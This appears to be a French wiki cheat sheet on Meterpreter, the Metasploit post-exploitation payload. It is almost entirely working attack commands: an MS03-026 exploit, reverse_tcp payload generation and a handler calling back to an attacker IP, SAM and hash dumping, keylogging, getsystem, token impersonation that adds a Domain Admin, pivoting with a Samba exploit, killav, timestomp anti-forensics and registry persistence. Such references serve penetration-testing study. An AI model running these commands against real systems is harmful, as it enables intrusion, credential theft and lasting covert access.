Meterpreter

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche
Fiche express
Domaine Payload avancé / post-exploitation
Payload windows/meterpreter/reverse_tcp
Contexte Metasploit
Voir aussi Msfconsole · Incognito · Mimikatz

Meterpreter est un payload avancé de Metasploit. Il réside en mémoire, communique par un canal chiffré et offre un large jeu de commandes de post-exploitation : transfert de fichiers, shell, dumps mémoire, capture d'écran, keylogging, pivot, etc.

On obtient un meterpreter avec un payload de type :

set payload windows/meterpreter/reverse_tcp

Avec le payload suivant on obtient au contraire un simple invite Windows (commandes cmd uniquement) :

set payload windows/shell/reverse_tcp

Usage

msfconsole
use msrpc_dcom_ms03_026
show payloads
set PAYLOAD win32_bind_meterpreter
set RHOST 192.168.0.18
exploit

On obtient un prompt meterpreter>.

Chargement de bibliothèques supplémentaires et transfert de fichiers :

use -m process
use -m FS
help

upload /home/nc.exe c:\windows
download c:\windows\repair\sam /tmp
execute -H -f cmd -c
interact 6

Migrer vers un PID plus stable

Pourquoi migrer : meterpreter peut planter, la victime peut fermer la session ou le programme, on peut vouloir fermer meterpreter proprement.

migrate "PID de explorer"
run post/windows/manage/migrate

Commandes principales

  • help — affiche l'aide.
  • background — bascule la session en arrière-plan et revient au prompt MSF.
  • download — télécharge un fichier depuis la machine victime.
  • upload — envoie un fichier vers la machine victime.
  • execute — exécute une commande sur la machine victime.
  • shell — ouvre un shell Windows (hôtes Windows uniquement).
  • sessions -i — bascule entre les sessions.

Réseau :

portfwd
ipconfig
route

Système :

getuid
getpid
ps
sysinfo
run vnc
screenshot
getsystem

Système de fichiers (protéger les \) :

pwd
cd c:\\
cat c:\\fichier.txt
download c:\\fichier.txt
edit c:\\fichier.txt
search -d c:\\ -f *.txt

Interface utilisateur (penser à migrer sur un PID explorer via getdesktop) :

keyscan_start
keyscan_dump
keyscan_stop
idletime

Canaux de communication :

channel -h
execute -f cmd.exe -c
execute -l
interact 1
exit
close 2

Désactiver / réactiver le clavier distant :

uictl disable keyboard
uictl enable keyboard

Modifier les horodatages MACE (Modified, Accessed, Created, Entry) :

timestomp -h
timestomp c:\lado.txt -c "12/03/1992 08:12:00"
# appliquer le MACE de titi.txt vers lado.txt
timestomp c:\titi.txt -f c:\lado.txt

Capture réseau :

# en cas d'"Access Denied", désactiver l'UAC à la main
run packetrecorder -li
run packetrecorder -i 2 -l /root/Desktop

Modules

Keylogger :

run post/windows/capture/keylog_recorder
cat /root/.msf3/loot/DATE_defaut_192.168.0.31_host_windows.key_021542.txt

Extraction des empreintes (voir NTLM) — passer en mode privilégié indique au meterpreter l'accès aux informations système :

use priv
run post/windows/gather/hashdump

Voir aussi pass-the-hash.

Escalade de privilèges

execute -f cmd.exe -c
interact 1
c:\> net user boby password33 /add

Création du payload, copie sur la cible et exécution sous l'utilisateur boby :

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.19 LPORT=443 X > payload.exe
upload /root/payload.exe c:\\
# c:\> payload.exe
msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.0.19 LPORT=443 E

Obtention des droits SYSTEM (puis rev2self pour redescendre) :

use priv
getsystem
getuid
# ...NT AUTHORITY\SYSTEM
rev2self

Usurpation de jetons / Kerberos

Le SID (Security Identifier) identifie une entité de sécurité (locale, AD…). À la connexion, Windows affecte à l'utilisateur un SID, des groupes et des privilèges. Deux familles d'attaques : escalade de privilèges locale et escalade de privilèges de domaine. Un jeton reste valable environ 13 heures et peut être récupéré après le passage de l'utilisateur.

ps
steal_token PID

Lorsque ps ne remonte pas les processus sous un compte de domaine, on utilise incognito :

load incognito
list_tokens -u
impersonate_token DOMAIN\\user
add_user username password -h IP_controleur_domaine
add_group_user "Domain Admins" username -h IP_controleur_domaine
getuid
list_tokens -u
shell
echo %USERNAME%
exit
rev2self
steal_token PID

Pivots entre systèmes

Un pivot crée une passerelle via le premier système compromis pour atteindre un sous-réseau autrement inaccessible.

run get_local_subnets
background
route add 192.168.0.0 255.255.255.0 1
route print

Second exploit visant une machine Linux à travers la passerelle Windows :

use linux/samba/lsa_transnames_heap
set payload linux/x86/shell/reverse_tcp
set LHOST 192.168.0.19
set LPORT 8080
set RHOST 192.168.0.58
exploit

Ajout automatique des routes :

load auto_add_route
exploit

Scripts de post-exploitation

run vnc
run screen_unlock
run killav
run hashdump
run packetrecorder -i 1
run scraper

Persistance après reboot :

run persistence -X -i 50 -p 443 -r 192.168.0.19
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 443
set LHOST 192.168.0.61
exploit

Pour supprimer la persistance : retirer l'entrée de registre et le script déposé.

# HKLM\software\microsoft\windows\CurrentVersion\Run\xEYnaHedooc
# c:\windows\temp\

Les scripts historiques sont progressivement remplacés par des modules post, applicables à plusieurs cibles à la fois :

run post/windows/gather/hashdump

API Windows (Railgun)

irb
>> client.railgun.user32.MessageBoxA(0,"hello","world","MB_OK")

Voir aussi